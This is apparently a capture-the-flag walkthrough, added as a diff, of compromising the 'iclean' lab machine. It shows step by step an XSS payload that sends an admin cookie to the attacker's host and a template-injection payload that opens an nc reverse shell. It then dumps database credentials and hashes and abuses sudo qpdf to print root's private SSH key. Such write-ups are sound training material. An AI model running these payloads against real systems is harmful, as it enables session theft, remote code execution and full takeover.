|
| 1 | +### Enumeration |
| 2 | + |
| 3 | +```bash |
| 4 | +nmap -sC -sV -p- --min-rate 10000 10.129.240.52 -oA iclean |
| 5 | +Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-06 21:05 CEST |
| 6 | +Nmap scan report for 10.129.240.52 |
| 7 | +Host is up (0.10s latency). |
| 8 | +Not shown: 42923 filtered tcp ports (no-response), 22610 closed tcp ports (conn-refused) |
| 9 | +PORT STATE SERVICE VERSION |
| 10 | +22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 11 | +| ssh-hostkey: |
| 12 | +| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA) |
| 13 | +|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519) |
| 14 | +80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |
| 15 | +|_http-server-header: Apache/2.4.52 (Ubuntu) |
| 16 | +|_http-title: Site doesn't have a title (text/html). |
| 17 | +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel |
| 18 | +
|
| 19 | +``` |
| 20 | +
|
| 21 | +### Web enum |
| 22 | +
|
| 23 | +```bash |
| 24 | +whatweb 10.129.240.52 |
| 25 | +http://10.129.240.52 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.240.52], Meta-Refresh-Redirect[http://capiclean.htb] |
| 26 | +ERROR Opening: http://capiclean.htb - no address for capiclean.htb |
| 27 | +``` |
| 28 | +
|
| 29 | +We've got the hostname! |
| 30 | + |
| 31 | + |
| 32 | +Some dir fuzzing: |
| 33 | +```bash |
| 34 | +ffuf -u http://capiclean.htb/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt |
| 35 | +
|
| 36 | +login [Status: 200, Size: 2106, Words: 297, Lines: 88, Duration: 46ms] |
| 37 | +services [Status: 200, Size: 8592, Words: 2325, Lines: 193, Duration: 53ms] |
| 38 | +team [Status: 200, Size: 8109, Words: 2068, Lines: 183, Duration: 54ms] |
| 39 | +quote [Status: 200, Size: 2237, Words: 98, Lines: 90, Duration: 48ms] |
| 40 | +logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 44ms] |
| 41 | +dashboard [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 49ms] |
| 42 | +choose [Status: 200, Size: 6084, Words: 1373, Lines: 154, Duration: 174ms] |
| 43 | +``` |
| 44 | + |
| 45 | +The `/quote` page was vulnerable to XSS and we were able to grab an admin cookie. |
| 46 | + |
| 47 | +HTTP Request: |
| 48 | + |
| 49 | +```http |
| 50 | +POST /sendMessage HTTP/1.1 |
| 51 | +Host: capiclean.htb |
| 52 | +Content-Length: 169 |
| 53 | +Cache-Control: max-age=0 |
| 54 | +Upgrade-Insecure-Requests: 1 |
| 55 | +Origin: http://capiclean.htb |
| 56 | +Content-Type: application/x-www-form-urlencoded |
| 57 | +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 |
| 58 | +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 |
| 59 | +Sec-GPC: 1 |
| 60 | +Accept-Language: en-US,en;q=0.8 |
| 61 | +Referer: http://capiclean.htb/quote |
| 62 | +Accept-Encoding: gzip, deflate, br |
| 63 | +Connection: close |
| 64 | +
|
| 65 | +service=<img+src%3dx+onerror%3d"location.href%3d'http%3a//10.10.16.8/%3fc%3d'%2b+document.cookie">%26service=Tile+%26+Grout&service=Office+Cleaning&email=test%40test.htb |
| 66 | +
|
| 67 | +``` |
| 68 | + |
| 69 | + |
| 70 | +Our webserver catched the cookie: |
| 71 | +```bash |
| 72 | +python3 -m http.server 80 |
| 73 | +Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... |
| 74 | +10.129.240.52 - - [06/Apr/2024 21:19:24] "GET /?c=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhA16w.YBZzKLSAVslmorVl9-ktQCJY8x0 HTTP/1.1" 200 - |
| 75 | +``` |
| 76 | + |
| 77 | +Now setup the session cookie and access admin dashboard over `/dashboard` |
| 78 | + |
| 79 | + |
| 80 | +Admin dashboard: |
| 81 | + |
| 82 | + |
| 83 | + |
| 84 | +We had to generate an invoice first: |
| 85 | + |
| 86 | + |
| 87 | + |
| 88 | + |
| 89 | + |
| 90 | + |
| 91 | +Now we had to generate a QR Code with the Invoice ID and get a new textbox: |
| 92 | + |
| 93 | + |
| 94 | +In the qr link we entered a mkfifo reverse shell payload: |
| 95 | +```bash |
| 96 | +{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.8 1337 >/tmp/f')|attr('read')()}} |
| 97 | +``` |
| 98 | + |
| 99 | +And got a shell as `www-data` |
| 100 | + |
| 101 | +In the same folder we dropped there was a file called `app.py` which contains db creds: |
| 102 | +```python |
| 103 | +# Database Configuration |
| 104 | +db_config = { |
| 105 | + 'host': '127.0.0.1', |
| 106 | + 'user': 'iclean', |
| 107 | + 'password': 'pxCsmnGLckUb', |
| 108 | + 'database': 'capiclean' |
| 109 | +} |
| 110 | +``` |
| 111 | + |
| 112 | +Connect to the mysql database and collect user hashes: |
| 113 | + |
| 114 | +```bash |
| 115 | +mysql -h 127.0.0.1 -u iclean -p -D capiclean |
| 116 | +
|
| 117 | +mysql> show tables; |
| 118 | ++---------------------+ |
| 119 | +| Tables_in_capiclean | |
| 120 | ++---------------------+ |
| 121 | +| quote_requests | |
| 122 | +| services | |
| 123 | +| users | |
| 124 | ++---------------------+ |
| 125 | +
|
| 126 | +mysql> select * from users; |
| 127 | ++----+----------+------------------------------------------------------------------+----------------------------------+ |
| 128 | +| id | username | password | role_id | |
| 129 | ++----+----------+------------------------------------------------------------------+----------------------------------+ |
| 130 | +| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 | |
| 131 | +| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee | |
| 132 | ++----+----------+------------------------------------------------------------------+----------------------------------+ |
| 133 | +
|
| 134 | +``` |
| 135 | +
|
| 136 | +Crackstation did the job: |
| 137 | + |
| 138 | +
|
| 139 | +
|
| 140 | +| user | pass | |
| 141 | +| -------- | ---------------- | |
| 142 | +| consuela | simple and clean | |
| 143 | +
|
| 144 | +SSH open :) ! |
| 145 | +
|
| 146 | +```bash |
| 147 | + |
| 148 | +
|
| 149 | +consuela@iclean:~$ cat user.txt |
| 150 | +89bfbb5add47ac804dbdb693313fc7b1 |
| 151 | +
|
| 152 | +``` |
| 153 | +
|
| 154 | +### Root Flag / Privilege Escalation |
| 155 | +
|
| 156 | +The user can run a binary as sudo |
| 157 | +```bash |
| 158 | +consuela@iclean:~$ sudo -l |
| 159 | +[sudo] password for consuela: |
| 160 | +Matching Defaults entries for consuela on iclean: |
| 161 | + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty |
| 162 | +
|
| 163 | +User consuela may run the following commands on iclean: |
| 164 | + (ALL) /usr/bin/qpdf |
| 165 | +``` |
| 166 | +
|
| 167 | +We found an unintended way to get the root flag: |
| 168 | +```bash |
| 169 | +consuela@iclean:/opt/app$ sudo /usr/bin/qpdf @/root/root.txt out.pdf |
| 170 | +qpdf: open f9f10e670abd6e3b92de272bde2bf2f4: No such file or directory |
| 171 | +``` |
| 172 | +
|
| 173 | +With the `qpdf` we can get the private key file from root as well. |
| 174 | +
|
| 175 | +Here are the steps: |
| 176 | +
|
| 177 | +```bash |
| 178 | +sudo /usr/bin/qpdf --empty --add-attachment /root/.ssh/id_rsa --mimetype=text/plain -- among1.pdf |
| 179 | +
|
| 180 | +sudo /usr/bin/qpdf --list-attachments among1.pdf |
| 181 | +
|
| 182 | +sudo /usr/bin/qpdf --show-attachment=id_rsa among1.pdf |
| 183 | +
|
| 184 | +-----BEGIN OPENSSH PRIVATE KEY----- |
| 185 | +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS |
| 186 | +1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN |
| 187 | +vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir |
| 188 | +dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm |
| 189 | +JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN |
| 190 | +EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B |
| 191 | +AgMEBQ== |
| 192 | +-----END OPENSSH PRIVATE KEY----- |
| 193 | +
|
| 194 | +# Save to a file and connect as root |
| 195 | +root@iclean:~# id |
| 196 | +uid=0(root) gid=0(root) groups=0(root) |
| 197 | +``` |
0 commit comments